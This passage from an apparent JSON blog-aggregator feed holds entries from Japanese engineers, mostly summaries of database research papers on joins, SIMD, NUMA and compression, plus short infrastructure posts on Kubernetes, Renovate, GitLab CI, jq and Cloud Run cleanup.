Dittrichのグループによる論文。いずれもDBMSや分析システム、Hadoopなどにおける検索高速化・最適化の研究を行なっている。問題意識関係結合はほとんど全てのクエリプランにおいて中核をなす処理であり、定期的に研究・改良され再検討されてきた。新たな手法が提案され実験を行なわれるものの、それぞれ結果において比較を困難にする要素や幾らかの矛盾を孕んでいた。例えば同じハッシュベースの結合アルゴリズムの比較でも実装が異なったり、複数の論文でパフォーマンス比較で正反対の結果を示しているためである。そのため単純に論文執筆時点で最も高速な結合アルゴリズムを結論づけることが困難であった。手法本論文では結合方法を以下の3つに分類した1. パーティションベースハッシュジョインパーティションに分割し結合する手法。ハッシュテーブルの構築と結合されるデータの探索のキャッシュミスを最小にする事を目的としている。非パーティションベースハッシュジョインパーティションテーブルを構築しながら結合を行なう手法で、マルチスレッドと順番に依存しない実行によりキャッシュミスのパフォーマンス劣化を隠蔽している。ソートマージジョインSIMDによりベクトル化される。検証ではこれらの結合方法を以下の3つのテストで使用するために、全部で13のアルゴリズムを検証している。1. ブラックボックス比較ブラックボックス的に比較する。ホワイトボックス比較ブラックボックス比較で検証する結合方法に先行研究で示された最適化を施した上で比較を行なう。パラレルラディックスジョイン比較Table 2結果パーティション結合の一種であるリモート書込みを排除したCPR系アルゴリズムは小さな入力に対して有効ではないスケールの大きい結合ではとくに理由が無い場合、パーティションベースのジョインを利用する大きなサイズのページを利用するソフトウェアライトコンバインバッファ()を利用するパーティションジョインでは適切なパーティションビットを利用するできるかぎりシンプルなアルゴリズムを利用するNUMAを考慮したアルゴリズムを利用する実行時間とクエリ時間は同一ではない作業時間read31:3431:34author35:183:46summary77:5042:32","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/10_join_method_comparison","isoDate":"2023-04-23T14:16:28.000Z","dateMiliSeconds":1682259388000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"新卒2年目がAWS12冠を達成し、2つの賞を受賞するまで。","contentSnippet":"はじめに先日の2023 AWS Summit Tokyoで今年のAWSに関する受賞者が発表されました!各賞の詳細についてはこちら私は、2023/3月までに(新卒2年目で)12冠を達成したので、…","link":"https://qiita.com/yokoo-an209/items/0b9ca7b2eddbb586dcbc","isoDate":"2023-04-22T12:19:16.000Z","dateMiliSeconds":1682165956000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"コンパイルとベクトル化による最適化のパフォーマンスを比較した論文を読みました","contentSnippet":"この記事の趣旨2018年に発表された\\"Everything You Always Wanted to Know AboutCompiled and Vectorized Queries But Were Afraid to Ask\\"という論文を読みました。最新のクエリエンジンの特性をまとめ、どのようなワークロードに向くのかという指針を示すないようです。Everything You Always Wanted to Know About Compiled and Vectorized Queries But Were Afraid to AskTimo Kersten, Viktor Leis, Alfons Kemper, Thomas Neumann, Andrew Pavlo, Peter Boncz著者についてTimo Kersten, Viktor Leis, Alfons Kemper, Thomas Neumann, Andrew Pavlo, Peter Bonczのグループによる論文。いずれも大規模データにおけるクエリパフォーマスや最適化に関する研究を行なっている。問題意識分析ワークロードに向いた最新のクエリエンジンはベクトル化またはデータ中心のコード生成に基づいている。どちらのモデルも従来のエンジンに比べオーバーヘッドが少く、非常に効率的なものの概念的には大きく異なっている。この2つのモデルの違いは、DBMSの実行エンジンのソースコードの構成とその性能特性を決定する基本的なもので、クエリ実行モデルを超える多くの設計で異なる。本論文はことなる2つのモデルを再実装し、環境差異のないマシンで実行することでそれぞれのモデルがどのように違うのか。どのような用途に最適なのかを検証している。手法検証手法は著者らがC++で再実装したデータ中心モデルの「Taper」とベクトル化中心の「Tectorwise」を同一のマシンでパフォーマンス検証を行っている。検証項目は以下から成る1. インメモリOLAPワークロードでのマイクロアーキテクチャ分析1. SIMDの利点の検証1. マルチコアCPUにおけるクエリ並列化1. 異なるハードウェアでのパフォーマンス結果インメモリOLAPワークロードでのマイクロアーキテクチャ分析Figure 3: Performance – TPC-H SF=1, 1 threadSIMDの利点の検証SIMDを評価するにはTectorwiseのみを用いた。SIMDではスカラーなデータをベクトルに変換するペナルティは少く、最大8.4倍の性能向上が確認された。Figure 6: Scalar vs. SIMD Selection in TectorwiseマルチコアCPUにおけるクエリ並列化異なるハードウェアでのパフォーマンスIntel Skylake、Intel Knights Landing、AMD Ryzenで対照実験を行なったものの、いずれのハードウェアでもTyper、Tectorwiseともに有効に動作した。作業時間read29:2629:26author33:233:57summary76:3742:44感想VoectorwiseとHyperのいずれを使うべきか。どちらが優れているかといった疑問に答えるないようだった。","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/9_compile_vs_vectorize_performance","isoDate":"2023-04-21T01:45:06.000Z","dateMiliSeconds":1682041506000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"ポリテクセンターのススメ","contentSnippet":"はじめに各都道府県には職業能力開発促進センター(ポリテクセンター)と呼ばれる職業訓練を行う施設があります。プログラマやインフラエンジニアになるためにここ数年スクールを受講するのが流行っていますが、今回はこのポリテクセンターをおすすめしたいと思います。ポリテクセンターでは求職者向け訓練と在職者向け訓練があります。求職者向け訓練はこれから会社に就職するために6ヶ月ほど訓練を受講します。在職者向け訓練はすでに会社に就職している人向けの1〜3日ほどの内容を絞った講座形式になります。 求職者向け訓練例えば神奈川県にあるポリテクセンター関東では以下の求職者向け訓練があります。...","link":"https://zenn.dev/satoken/articles/polytech-susume","isoDate":"2023-04-21T00:57:44.000Z","dateMiliSeconds":1682038664000,"authorName":"satoken","authorId":"satoken"},{"title":"Renovateをローカルで動かす","contentSnippet":"Renovateには様々な実行方法がありますが。ここではローカルで動かす方法について説明します。Renovateをクローンするhttps://github.com/renovatebot/renovateからクローンしましょう。これ以降はクローンしたリポジトリのルートディレクトリで作業します。実行環境コンテナ.devcontainer/Dockerfileをビルドします。docker build -f .devcontainer/Dockerfile -t renovatebot_local .Renovateの依存パッケージをインストールdocker run -it --rm -v \\"$PWD\\":/usr/src/app -w /usr/src/app renovatebot_local yarnローカル実行時のオプションドキュメントを参考に、引数を与えてください。ログレベルdebugでGitLabリポジトリに対して実行する場合は、以下のようになります。例:docker run -it --rm -v \\"$PWD\\":/usr/src/app -w /usr/src/app -e LOG_LEVEL=debug -e GITHUB_COM_TOKEN=*** renovatebot_local yarn start --platform gitlab --token *** {リポジトリ}※{リポジトリ}のところはユーザー名/リポジトリ名のような感じです。","link":"https://kechigon.hatenablog.com/entry/2023/04/20/140449","isoDate":"2023-04-20T05:04:49.000Z","dateMiliSeconds":1681967089000,"authorName":"Kurita Keigo","authorId":"kurita"},{"title":"SIMDによるベクトル処理の最適化とRDBでの応用について扱った、最適化に関する論文を読みました","contentSnippet":"この記事の趣旨2020年に提案された\\"Make the most out of your SIMD investments: counter control flowdivergence in compiled query pipelines\\"という論文を読みました。SIMDによるベクトル処理の最適化とRDBでの応用について扱った、最適化に関する論文です。Make the most out of your SIMD investments: counter control flow divergence in compiled query pipelinesHarald Lang, Linnea Passing, Andreas Kipf, Peter Boncz, Thomas Neumann, Alfons Kemper著者についてHarald Lang、 Linnea Passing、 Andreas Kipf、 Peter Boncz、 Thomas Neumann、 Alfons Kemperのグループによる研究いずれも最新のアーキテクチャでのクエリ最適化やデータ分析における検索手法などを研究している。問題意識CPUの発展にともないあたらしいCPUアーキテクチャが登場した。Single Instruction Multiple Data(SIMD)ではRDBはSIMDによるベクトル処理能力の向上により、クエリコンパイラの実行パイプライン全体をベクトル化して高度なデータ並列性の恩恵を受けることが出来るようになった。一方でクエリ全体をベクトル化して実行することで、SIMDによるクエリ評価が忙しくなる。SIMD評価で結果に寄与しない評価が単純にオーバーヘッドとなってしまう。手法本論文ではリフィルアルゴリズムとそのアルゴリズムをクエリパイプラインプランに統合する手法で上記の問題の解決を試みている。リフィルアルゴリズムは基本的に新しい要素を宛先レジスタの希望する位置にコピーするアルゴリズムで、メモリからレジスタとレジスタからレジスタへのコピーの2パターンが存在する。クエリパイプラインプランに統合するリフィル戦略ではConsume EverythingパターンとPartial Consumeパターンが存在する。Consum Everything戦略は、タプルをバッファリングするために使用される追加のベクターレジスタを割り当てる方法で利用率が低い場合、オペレータはこれらのタプルの処理を延期する。つまり、この反復ではボディは実行されず(条件が満たされない場合)、代わりにアクティブなタプルがこれらのバッファレジスタに移動することになる。Partial Consume戦略ではconsume()コードを入力の一部に適用する方法で、制御フローを前のオペレータに戻し、アクティブなデータ断片のみをベクトルレジスタに残すことで実行を延期している。作業時間read29:4029:40author33:404:00summary60:0426:36感想前回に引続き個人的には難しいと感じる論文だった。2000年前後の提案にくらべ、2015年前後の論文ではハードウェアアーキテクチャを中心とした手法がピックアップされている。単純に自分の知識不足、理解力不足なので勉強するしかない。","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/8_counter_control_flow_divergence_in_compiled_query_pipelines","isoDate":"2023-04-20T02:00:20.000Z","dateMiliSeconds":1681956020000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Markdownのコードブロックとかテキストの文脈に合わせて背景色を変えるtsnode-marker.nvimを作った","contentSnippet":"2023/04/19のVim駅伝記事です。Neovimはtreesitterを使ってテキストファイルをパースする機能を備えています。代表的な用例は、パース結果に基くシンタックスハイライトですが、文法に従った範囲を取得できるので、コードの折り畳みや、テキストオブジェクトにも活躍します。","link":"https://blog.atusy.net/2023/04/19/tsnode-marker-nvim/","isoDate":"2023-04-19T00:00:00.000Z","dateMiliSeconds":1681862400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"NUMAアーキテクチャでのクエリ最適化に関する論文を読みました","contentSnippet":"この記事の趣旨\\"Morsel-Driven Parallelism: A NUMA-Aware Query Evaluation Framework forthe Many-Core Age\\"という2014年に発表された、多コアサーバにおけるクエリ最適化手法をあつかった論文を読みました。[Morsel-Driven Parallelism: A NUMA-Aware QueryEvaluation Framework for the Many-Core Age](https://15721.courses.cs.cmu.edu/spring2023/papers/07-scheduling/p743-leis.pdf)Viktor Leis, Peter Boncz, Alfons Kemper, Thomas Neumann著者についてViktor Leis、 Peter Boncz、 Alfons Kemper、Thomas Neumannのグループによる研究いずれもデータベースと 高速化かを中心に研究している。問題意識コンピュータアーキテクチャの進化にともない、二つのあたらしい問題が生じた。多コアを利用するためにクエリを数百のスレッドに均等に分散させるそれをNUMA(Non-Uniform Memory Access)による順序通りではないメモリアクセスで実現する必要がある。これらの要因からplanベースの並列処理による不可分散とコンテキストスイッチとボトルネックが問題になりスケールが難しかった。NUMAによってデータとアクセススレッドがどのチップに配置されるかによって、データ項目のアクセスコストが異なるため、コンピュータ自体がネットワークになっており、多コア並列化では、RAMやキャッシュ階層を考慮する必要がある。この論文ではMoral-drivenクエリ実行フレームワークを提案している。手法提案手法は並列クエリ処理のため、morselドリブンクエリ評価フレームワークを提示した。これはメニーコア時代の分析クエリ性能の主要なボトルネックである負荷分散、スレッド同期、メモリアクセス局所性およびリソース弾力性を解決することを目的としている。ベースとなるアイデアは以下の2つに分けられる。メモリ上のデータをmorselと呼ばれる小さなバッチに分割し、バッチごとに処理を実行したあとにそれぞれの処理結果をグローバルハッシュテーブルとしてまとめる。Figure 3: NUMA-aware processing of the build-phaseディスパッチャと呼ばれる並行パイプライン制御を行ない、ワーカースレッドをタスクに割り当てるFigure 5: Dispatcher assigns pipeline-jobs on morsels to threads depending on the coreまとめとして著者はきめ細かいスケジューリング、完全演算子並列化、低オーバーヘッド同期、NUMA対応スケジューリングの原理を用いて、他のシステムでもメニーコアスケーリングを改善できると示唆している。作業時間read28:3628:36author32:453:09summary60:3727:52感想近現代のサーバアーキテクチャで主流になっているNUMAでのクエリパフォーマンス向上のための論文のため、古典的なものに比べ概念が難しいものが多い。もう少し理解を深めたい。","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/7_numa_aware_query_evaluation_framework","isoDate":"2023-04-18T01:01:35.000Z","dateMiliSeconds":1681779695000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"おうちk8sクラスターを構築していて詰まったところ","contentSnippet":"おうち Kubernetes インターンを参考に機材調達->OSインストール->kubeadamでクラスター構築と一通りやってみたので、トラブったところと解決策を共有します。USBメモリRaspberry PiにOSをインストールする際に、SDカードの性能が悪いと失敗します。私は安物で済ませようとした結果、三枚目でようやく成功しました。またインストール後も、ディスクの読み書き速度は全体のパフォーマンスに影響を与えるので、性能にはこだわるべきです。以下のサイトなどを参考に選びましょう。https://www.kingston.com/jp/blog/personal-storage/memory-card-speed-classeshttps://osusumepc.com/raspberry-pi-microsd/cgroups の Memory Subsystem を有効化私がインストールしたOSでは、cgroups の Memory Subsystem がデフォルトで無効化されているため、/boot/firmware/cmdline.txtに下記を追加する必要がありました。cgroup_memory=1 cgroup_enable=memoryしかし、編集し再起動しても有効化されませんでした。原因は改行を入れて追加していたことでした。改行せず行末に追加するのが正しいです。","link":"https://kechigon.hatenablog.com/entry/2023/04/17/174444","isoDate":"2023-04-17T08:44:44.000Z","dateMiliSeconds":1681721084000,"authorName":"Kurita Keigo","authorId":"kurita"},{"title":"列指向DBMSにおけるデータを提案した論文を読みました","contentSnippet":"この記事の趣旨\\"MonetDB/X100: Hyper-Pipelining Query Execution\\"という2005年に発表された、列指向DBMSを提案した論文を読んでいきます。分析ワークロード向けRDBMSにおける初期実装であるMonetDBを扱った論文で、提案時期が2005年と古くはあるものの現代のDWHの礎となる内容です。MonetDB/X100: Hyper-Pipelining Query ExecutionPeter Boncz, Marcin Zukowski, Niels Nes著者についてPeter Boncz、Marcin Zukowski、Niels Nseのグループによる論文。いずれの著者も機械学習や分析におけるDBMSについて研究している。問題意識2005年当時のDBMSは他のアプリケーションに比べ、IPCが低くなる傾向にあった。原因はほとんどのDBMSがコンパイラの最適化を阻害する実装だったためである。これはRDBMSが実装された当時に比べCPUやコンパイラが発達したためで、この論文ではC-store DBMSであるMonetDBと従来のR-store DBMSをそれぞれTPC-Hで評価を行い、パフォーマンス阻害要件と最適化方法を提案している。手法CPUによるIF文の処理方法はDBMSにとっては選択性が低く、そういった実行は予測不可能でありクエリ実行を著しく劣らせた。提案手法ではMonetDB/X100として効率的なシーケンシャルアクセスに向けた、C-storeストレージとクエリエンジンを実装した。RAMは提案手法のデータアクセスと同様の方法で圧縮して保存し、Cacheではなベクトル化された処理にもとづくパイプライン実装を使用した。CPUにおいてもベクトル型における式計算を提供し、コンパイラが高効率な処理を生成した。結果として提案手法は従来のDBMS実行に比べTPC-Hで優れた性能をしめした。作業時間read21:3221:32author29:007:28summary56:2027:20感想2005年と古く、またVolcano-likeなど知らない概念も登場した。提案内容としては現代のDWHが採用しているものだった。論文外の感想今回本文を読む時間を大幅に短くしてみたが、それにともない理解度も低下した気がする。やっぱり30分以上で読むのがよさそう。","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/6_hyper_pipelining_query_execution","isoDate":"2023-04-17T01:16:56.000Z","dateMiliSeconds":1681694216000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"列指向DBMSにおけるデータ圧縮手法の論文を読みました","contentSnippet":"この記事の趣旨\\"Integrating Compression and Execution in Column-Oriented Database Systems\\"という2006年に発表されたそれまで行指向DBMSで培われてきた圧縮方法による、検索高速化手法を列指向DBMSに適用・評価した論文を読んで行きます。Integrating Compression and Execution in Column-Oriented Database SystemsDaniel J. Abadi, Samuel R. Madden, Miguel C. Ferreira著者についてDaniel J. Abadi、Samuel R. Madden、Miguel C. Ferreiraのグループ。それぞれDBMSやデータ分析に関連する手法やパフォーマンスについて研究している。問題意識2006年ごろの研究ということもありC-storeデータベースの研究が少なかった時期の論文。既に検索パフォーマンスに寄与することがしられていたR-storeデータベースの圧縮手法を、C-storeへ応用や評価を行なった。手法提案手法は以下の圧縮技術の組み合わせからなる。Null圧縮辞書エンコーディングRun Lengthエンコーディングビットベクターエンコーディングエンコーディングで、それぞれのカテゴリに属するかどうかをバイナリで表現する圧縮方法Lempel-ZivエンコーディングGZIPでも使用されている圧縮方式。データの非重複ブロックを解析して既存のデータは対応するブロックへのポインタに、それ以外のみを新規に追加する。提案手法は圧縮方式が増えてもアクセスパターンをシンプルに留めるためにアクセス方法をAPIとして隠蔽した。そのため異なるエンコーディングも同一のAPIで保存でき、同一のAPIでも取得できる。当然ながら一つのエンコーディングで全てのデータに対応することは難しく、論文では使用すべき圧縮スキームの選び方を以下のようにまとめている。Figure10感想C-storeにおける古典的な圧縮手法がまとまった論文だった。近代DWHを利用する側では意識することが少ない部分だったためあたらしい知識も多かった。作業時間read26:5026:50author33:306:40summary58:2024:50","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/5_integrating_compresison_and_execution_in_cstore_dbms","isoDate":"2023-04-16T02:58:29.000Z","dateMiliSeconds":1681613909000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Column Sketchesというindex手法の論文を読みました","contentSnippet":"この記事の趣旨前回と同様にCMU Advanced Databas Systems Spring2023のReading Assignmentとして出ている論文を読んで行きます。最近論文を読めてなかったのですが、この記事でモーベーションが上がったので再開しました。ころころやり方を変えるのはよろしくないものの、モチベーションのために先の記事のやり方でやります。今回はColumn Sketchという名前のIndex手法を提案した論文です。Lossy Compressionを採用した当手法がどのように、高速で堅牢な検索を実現しているのかについて述べています。Column Sketches: A Scan Accelerator for Rapid and Robust Predicate EvaluationBrian Hentschel, Michael S. Kester, Stratos Idreos著者についてBrain、Michael、Stratosのグループによる論文。いずれも機械学習とデータアクセスについて研究している。問題意識既存のindex手法ではそれぞれに得意/不得意があり多くのアクセスパターンに対応できる方法がなかった。またデータ分析で用いられるような列指向ストレージに対応しているものが少なかった。Column SketchはデータをLossy Compressionを使用してindexを作成する手法でこれらの問題を解決した。手法提案手法はデータを任意のbit長に変換し、bitで表わされたデータに対して初回の検索を行なうことで大幅に検索速度を向上させた。またこの手法は数値型のみではなく、varcharなどで表わされたカテゴリカルタイプを数値として扱うことで、データ分析に必要なデータタイプに対応している。提案手法は8bit数値型であれば以下のようなマッピングによって達成される。for x, y ∈ I8, S (x) ≠ S (y) ⇒ x ≠ yfor x, y ∈ I8, S (x) < S (y) ⇒ x < y以下の図は8bitデータに対してWHERE x < 90がどのようにindex作成され評価されるかの例である。Figure2: Column Sketchindex作成段階では数値をレンジベースで任意の個数のbitに圧縮する。そして評価時には90を含むデータより大きい値をすべて取得し、90を含むレンジに対しては個別に評価を行なう。感想読んでいる段階では数値型のみに対応したindexであれば、B-treeで十分ではないかと思ったものの読み進めていくと限定的ながらも文字型にも対応していて、分析用途では必要な機能が備わっているなと思った。全文テキスト検索のような用途には応用が難しそうで、銀の弾丸はないなと感じた。作業時間read27 min27 minauthor32 min5 minsummary58 min26 min論文以外への感想今回採用した論文の読み方をやってみた思ったのは事前に1時間で読んでまとめるぞと決めたことで随分集中して論文を読めました。あと今まで論文を原文で読まなきゃという個人的な使命感があったのですが、翻訳することで随分効率があがったので今後は翻訳してしまおうと思いました。Readableは文末のrea-dableのような表記や翻訳されない部分(おそらく数式を含む文章?)があるものの、フォーマットが維持されているため原文と照しあわせながら読めば非常に効率がよかったです。毎日論文読むなら正直買いです。毎日論文読みたいので課金しました。がんばるぞ!","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/4_column_sketch","isoDate":"2023-04-15T04:09:38.000Z","dateMiliSeconds":1681531778000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Kubernetes の Probe の仕組みと考慮点","contentSnippet":"!Kubernetes 1.26 時点の話で、以降のマイナーバージョンで改善されている可能性があります。Kubernetes には、ワークロードの正常性を確認するための Probe という仕組みがあり、Liveness / Readiness / Startup Probe が用意されています。kubelet (Kubernetes のノード上で動作するエージェント) は、ワークロードに対して TCP Socket / HTTP GET / gRPC / Exec の中から指定されたチェックを定期的に実行します。それぞれの Probe の特性を理解して使い分けないとサービスに影響...","link":"https://zenn.dev/toversus/articles/5d1292160f5035","isoDate":"2023-04-10T02:20:29.000Z","dateMiliSeconds":1681093229000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"GitLab CI で artifacts:reports:dotenv を使って Job をまたいで変数を渡す","contentSnippet":"GitLab CI である Job で変数を定義して、それを後続の Job でも使いたいなと思って調べていたら artifacts:reports:dotenv にたどり着いたのでメモ。 以下、使用例 stages: - stage1 - stage2 - stage3 - stage4 job1: stage: stage1","link":"https://blog.1q77.com/2023/04/gitlab-ci-artifacts-report-dotenv/","isoDate":"2023-04-04T16:27:22.000Z","dateMiliSeconds":1680625642000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Orbstack を Docker Desktop の代わりに使う","contentSnippet":"きっかけ brew update して新しく追加された formula を眺めるのが最近のちょっとした楽しみ — yteraoka (@yteraoka) January 12, 2023 で、orbstack っていう formula が追加されてるのを見てほー、","link":"https://blog.1q77.com/2023/04/orbstack/","isoDate":"2023-04-04T13:17:51.000Z","dateMiliSeconds":1680614271000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"kube-proxy の externalTrafficPolicy=Local の改善","contentSnippet":"tl;dr;Service type LoadBalancer の externalTrafficPolicy: Local は、Kubernetes 1.26 まで Pod のローリング更新時にトラフィックが喪失する問題があるので注意kubernetes-sigs/cloud-provider-kind は、ローカル環境でクラウドリソース (現在は LB のみ) が絡む処理をシミュレートできて便利GKE Dataplane v2 を利用している場合、GKE 1.26.1 時点で Cilium に externalTrafficPolicy: Local の改善が入ってい...","link":"https://zenn.dev/toversus/articles/6eeb3b708bdff3","isoDate":"2023-03-29T01:31:20.000Z","dateMiliSeconds":1680053480000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"PagerDuty で一定期間アラートを抑制する","contentSnippet":"PagerDuty でアラートを受け取っているプロジェクトで,以下のようにある時間帯はアラートを止めたいケースがあります。メンテナンスが予定されている。開発環境は営業時間内だけ動かすので,平日夜や土日祝日は止めたい。何も対策しないとアラートが鳴ってしまい,オンコール担当者を不用意に呼び出す結果になるので,そうならないようにきちんと設定します。 TL;DR各ケースで以下のように設定します。メンテナンス→メンテナンスウィンドウを設定平日夜・土日停止→曜日・時刻ベースのイベントルールを追加 方法1:メンテナンスウィンドウメンテナンスなどでダウンする時間帯があらかじ...","link":"https://zenn.dev/toshikish/articles/6958af565e6c65","isoDate":"2023-03-27T08:38:39.000Z","dateMiliSeconds":1679906319000,"authorName":"toshikish","authorId":"toshikish"},{"title":"jq commandの select でハマった話","contentSnippet":"結論配列のjsonに対してselectする際には、配列を一度オブジェクトの抽出をしないと複製されてしまう。なので、以下ではなくjq -r \'select(.[].A | contains(\\"特定文字列\\")) | .[].B\' test.jsonこうしないといけないjq -r \'.[] | select(.A | contains(\\"特定文字列\\")) | .B\' test.json 環境$ jq --version jq-1.6 詰まった内容以下のjson(test.json)があったときにtest.json[ { \\"hog...","link":"https://zenn.dev/satohjohn/articles/79faafa55e9a1e","isoDate":"2023-03-25T16:36:44.000Z","dateMiliSeconds":1679762204000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"ふと、思いだしたときに確認するって大事ですね、という話","contentSnippet":"本日、こんなお知らせが流れてきた。We updated our RSA SSH host key「そういえば、プライベートのPCでRSA使ってた…」と思い出したので、確認。$ ssh -T git@github.com@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@IT I...","link":"https://zenn.dev/nedoko_dok0dko/articles/174811e1685df2","isoDate":"2023-03-24T13:27:59.000Z","dateMiliSeconds":1679664479000,"authorName":"seno","authorId":"seno"},{"title":"Kubernetes と名前解決","contentSnippet":"tl;dr外部サービスのホスト名の末尾に . (ドット) を必ず指定しましょう。✅\xa0google.com.❌\xa0google.com末尾にドットを指定できない (e.g. SDK 組み込み) かつ大量の名前解決が発生している場合は、Pod の DNS Config の options で ndots: 1 を指定しましょう。Kubernetes の名前解決の仕組みを理解していないと、各ノードの conntrack テーブルが溢れてパケットが破棄され、サービスに影響が出ることがあります。 背景アプリケーションが外部のサービスを呼び出す場合、ホスト名を IP アド...","link":"https://zenn.dev/toversus/articles/d9faba80f68ea2","isoDate":"2023-03-22T07:36:38.000Z","dateMiliSeconds":1679470598000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"cloud runの要らなくなったリビジョンを消す","contentSnippet":"小ネタです。運用をしていて、たくさんリリースしているとリビジョンが増えていることとかもあるかなと思いますが、コンソール上から消すのも面倒なので、コマンドで消しましょう。というか、解説することもないので、結論と詰まった部分だけ残しておきます。 結論 ACTIVEじゃないものをすべて消す#!/bin/bashSERVICE_NAME=$1revisions=$( gcloud run revisions list --service=$SERVICE_NAME \\\\ --filter=\\"status.conditions.type:Active AND s...","link":"https://zenn.dev/satohjohn/articles/2a769b8280427d","isoDate":"2023-03-21T02:35:43.000Z","dateMiliSeconds":1679366143000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Datadog Agent からの Metrics を Victoria Metrics で受ける","contentSnippet":"Victoria Metrics は v1.67.0 で Datadog Agent からのメトリクスを受け取れるようになっているので今回はこれを試してみる。 Victoria Metrics のドキュメント How to send data from DataDog agent Single node Instance をセットアップ Victoria","link":"https://blog.1q77.com/2023/03/send-datadog-metrics-to-victoriametrics/","isoDate":"2023-03-19T12:38:04.000Z","dateMiliSeconds":1679229484000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Azure Bicep で Storage Account の SSE を設定する","contentSnippet":"Azure Bicep で Storage Account の SSE (サーバー側暗号化) を設定してみようとしたところ、思ったより難しかったのと、やりたいことそのままのサンプルコードがなかったため、調査した内容を公開してみます。 この記事で書いてあることAzure Bicep を使用して Storage Account の SSE を設定する方法 サンプルコード早く使い方とコードを見たい、という方向けにまずはサンプル コードについて記載します。この記事で説明するサンプル コードの全体は下記を参照ください。https://github.com/kiyo-s/crea...","link":"https://zenn.dev/kyohei_saito/articles/fb102fd2af31e2","isoDate":"2023-03-19T04:44:58.000Z","dateMiliSeconds":1679201098000,"authorName":"Kyohei Saito","authorId":"kiyos"},{"title":"k8s.gcr.io の凍結対応から学んだことメモ","contentSnippet":"今まで Kubernetes プロジェクトのコンテナ イメージをホストしていたイメージ レジストリ k8s.gcr.io が凍結されることが発表されました。この記事では、k8s.gcr.io から registry.k8s.io に移行する過程で学んだことについて、備忘としてメモします。 この記事で書いてあることk8s.gcr.io から registry.k8s.io に移行した流れhelm で、dependencies によって外部の chart を install している場合に、外部の chart の values を設定する方法skopeo によりローカルで ...","link":"https://zenn.dev/kyohei_saito/articles/d0080d94dae0b7","isoDate":"2023-03-18T19:08:14.000Z","dateMiliSeconds":1679166494000,"authorName":"Kyohei Saito","authorId":"kiyos"},{"title":"[Terraform] aws_networkfirewall_firewall リソースから VPC エンドポイント ID を取り出す","contentSnippet":"はじめにTerraform を使って AWS Network Firewall のファイアウォールを作るとき,生成された VPC エンドポイントの ID をサブネットのルートテーブルのルートに追加するのは自然な流れですが,VPC エンドポイント ID を取り出すのが大変だったので,やり方を記録しておきます。例えば以下のように aws_networkfirewall_firewall リソースを定義したとします。(特に説明のない変数やリソースは,なんとなくの理解で構いません。)resource \\"aws_networkfirewall_firewall\\" \\"firewall\\" ...","link":"https://zenn.dev/toshikish/articles/fc08c2021811f9","isoDate":"2023-03-16T07:58:23.000Z","dateMiliSeconds":1678953503000,"authorName":"toshikish","authorId":"toshikish"},{"title":"ビットコイン・ライトニングネットワーク概論","contentSnippet":"https://event.ospn.jp/osc2023-online-spring/session/809175\\rビットコインは送金トランザクションの処理量に限界があり、ブロックチェーンの外での送金を行うオフチェーン技術により手数料の軽減と、送金の高速化を実現できます。\\r\\rオフチェーンの中でもビットコインと同様、中央管理者のいないライトニングネットワークの開発が進んでいます。\\r\\rライトニングネットワーク技術の骨格をまとめました。","link":"https://speakerdeck.com/shukob/bitutokoinraitoningunetutowakugai-lun-749a7a47-5e72-4585-bcfd-40e8643a7143","isoDate":"2023-03-11T05:00:00.000Z","dateMiliSeconds":1678510800000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"振り返り (2020 - 2022)","contentSnippet":"コロプラに 2020/3/1 に入社して、2023/2/28 付けで退職したので、丸々 3 年間勤務したことになります。本当の意味での大規模 Kubernetes 環境で貴重な経験をさせて貰い感謝しかないです。記憶が新しい内に、この 3 年間でやってきたことを公開できる範囲で整理しました。 GitOps 風なマニフェスト管理への移行インフラチームで管理している監視ツールやアドオンなコンポーネントを Helm でインストールしていました。マルチクラスタな環境で手動インストールはスケールしないので、Helmfile で生成した各クラスタのマニフェストを Argo CD で同期する方式に...","link":"https://zenn.dev/toversus/articles/8557a7fb2bc15c","isoDate":"2023-03-05T14:17:49.000Z","dateMiliSeconds":1678025869000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"Devbox を使った開発環境","contentSnippet":"ローカル環境を汚さずDockerコンテナのオーバーヘッドもなく、開発環境を自在に構築できる「Devbox 0.2.0」登場 - Publickey この記事を最初に","link":"https://blog.1q77.com/2023/03/devbox/","isoDate":"2023-03-04T15:05:12.000Z","dateMiliSeconds":1677942312000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"2023年もSRE再考と叫びなさい‼️","contentSnippet":"2023年もSRE再考と叫びなさい‼️ SREの跡を求めず SREの求めたるところを求めよ というタイトルで登壇してきました\\r\\r2023年3月3日 エンジニア文化祭 2023\\rhttps://forkwell.connpass.com/event/272596/\\r\\r『2023年もSRE再考と叫びなさい!!』というタイトルで登壇しました - 